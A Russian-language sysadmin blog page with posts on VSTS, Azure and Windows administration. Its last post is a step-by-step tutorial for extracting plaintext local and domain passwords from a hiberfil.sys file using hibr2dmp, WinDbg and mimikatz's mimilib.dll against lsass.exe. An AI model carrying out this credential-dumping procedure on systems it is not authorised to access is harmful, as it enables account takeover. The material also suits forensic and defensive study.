Ярлыки

понедельник, 10 апреля 2017 г.

Миграция репозиториев из GitLab в VSTS

В VSTS есть возможность импортировать Git репозиторий прямо из веб-интерфейса


Однако, если не хочется делать это вручную - можно воспользоваться моим скриптом :)
https://github.com/DeV1L/gitlab-vsts-importer

Написан под задачу миграции из GitLab, но при необходимости, легко переделать под GitHub.
Инструкция в описании.

четверг, 19 января 2017 г.

Запуск службы от имени Managed Service Accounts (MSA)

Для запуска службы от имени MSA необходимо:

1) Создать MSA (объект AD) в соответствующем домене
Пример, аккаунт “elk” в домене “rackspace” для сервера “elastic”.


Можно удостовериться в наличии объекта при помощи оснастке “Users and Computers




2) Зарегистрировать аккаунт на соответствующем сервере

3) Настроить запуск служб от имени созданного аккаунта



4) Убедиться, что у данного аккаунта есть права на все необходимые файлы, каталоги и т.д.

воскресенье, 11 декабря 2016 г.

Мониторинг WordPress при помощи Application Insights

Устанавливаем в WordPress плагин Application Insights и активируем его.



В Azire Portal cоздаём экземпляр Application Insights и в разделе "Properties" копируем "INSTRUMENTATION KEY".


Далее идем в WordPress в раздел "Settings" -> "Application Insights" добавляем наш Instrumentation Key.


Сохраняем изменения и проверяем появление скрипта на страницах сайта.



Всё готово, через некоторое время данные начнут поступать в Application Insights и станут доступны на Azure Portal.




пятница, 9 декабря 2016 г.

VSTS tricks. Как изменить 100500 Build Definitions за один раз

Вопрос


Допустим Вы хотите изменить какой-то общий параметр сразу во всех Build Definitions. Например, путь для выгрузки артефактов.


Как это сделать? Ни экспорта/импорта, ни PowerShell модулей в 2016 году для VSTS не существует. Но зато есть REST API.

Ответ


И так, чтобы получить доступ к API необходимо сгенерировать Personal access token.
Переходим в VSTS в раздел Account -> Security -> Personal access tokens -> Add


Задаём название, срок действия, нажимаем "Create Token".


Теперь приступаем к скрипту на PowerShel.
Сначала зададим основные параметры

$PAT - Только что сгенерированный токен
$Instance, $Project URL Вашего VSTS и название проекта, подробнее здесь.
$Version Актуальная версия API

Далее сформируем HTTP Get запрос для получения списка ID всех Build Definitions.

В ответ мы получим JSON с которым довольно удобно работать в PowerShell.
Так можно получить все ID.

$BuildDefinitionsIDs = $BuildDefinitionsList.value.id

Далее сделаем цикл, который будет проходить по всем  Build Definitions, выгружать описание в JSON и заменять необходимые параметры.
Тут логично ограничиться работой с JSON, но в моём случае старый адрес \\KR-VSOBUILD01 присутствует в самых разных шагах билда. Поэтому мне проще сохранить его описание в файл, произвести замену при помощи -Replace и потом прочитать из файла.


В выводе скрипта - результат для каждой Build Definitions


Скрипт целиком

понедельник, 31 октября 2016 г.

Как проверить доступность порта из Azure App Service (Web App)

Допустим, вы открыли доступ к своему on-premise SQL Server для приложения в Azure. Как проверить, что всё сделано правильно?

На Azure Portal открываем <App Service Name> -> Advanced Tools -> Go или проще https://<sitename>.scm.azurewebsites.net/ и попадаем в Kudu.


Далее выбираем Debug console -> CMD и в загрузившейся консоли пингуем наш SQL при помощи tcpping.

tcpping <sqladdress>:1443


среда, 19 октября 2016 г.

VSTS tricks. Как передать переменную из одного шага в другой

Вопрос

Как в Visual Studio Team Services передать переменную (например результат выполнения скрипта) из одного шага (задачи) билда/релиза в другой?

Ответ

Чтобы переменная была доступна между шагами (задачами) её необходимо определить специальным образом.
Выглядит это так: ##vso[task.setvariable]value

Пример

Определяем переменную
$Value = "ALL GLORY TO THE VSTS!"
Write-Host "##vso[task.setvariable variable=Testenv1;]$Value"


Читаем переменную
$MyVar = (Get-ChildItem Env:Testenv1).Value
Write-Verbose "My variable is $MyVar" -Verbose

понедельник, 16 февраля 2015 г.

Восстанавливаем локальные и доменные пароли из hiberfil.sys

Утилита mimikatz, позволяющая извлекать учётные данные Windows из LSA в открытом виде, существует с 2012 года, однако помимо хорошо освещённого функционала восстановления паролей из памяти работающей ОС у неё есть ещё одна довольно интересная возможность. Далее я приведу пошаговую инструкцию, как при помощи нехитрых действий извлечь учётные данные из файла hiberfil.sys.

Подготовка


Для осуществления задуманного нам понадобятся следующие утилиты:

Действия


1. Получаем файл hiberfil.sys с целевой машины.

2. Конвертируем файл в формат понятный WinDbg

hibr2dmp.exe d:\temp\hiberfil.sys c:\temp\hiberfil.dmp

Процесс может занять довольно продолжительное время


3. Запускаем WinDbg и открываем полученный файл 

File -> Open Crash Dump

4. Настраиваем отладочные символы

Открываем File -> Symbol File Pathи вписываем следующую строчку

SRV*c:\symbols*http://msdl.microsoft.com/download/symbols

Вместо c:\symbols, естественно, может быть любой каталог, в который будут загружены символы 


В командной строке дебаггера пишем

0: kd> .reload /n

Ждём окончания загрузки символов


5. Указываем путь к библиотеке mimilib.dll (находится в каталоге с mimikatz)

0: kd> .load z:\Soft\Security\Passwords\Mimikatz\x64\mimilib.dll


6. Находим адрес процесса lsass.exe

0: kd> !process 0 0 lsass.exe


В данном случае адрес: fffffa800a7d9060

7. Переключаем контекст процесса

0: kd> .process /r /p fffffa800a7d9060


8. Запускаем mimikatz и получаем пароли в открытом виде

0:kd> !mimikatz




Ссылки по теме


Раскрытие учетных данных в Microsoft Windows: http://www.securitylab.ru/vulnerability/420418.php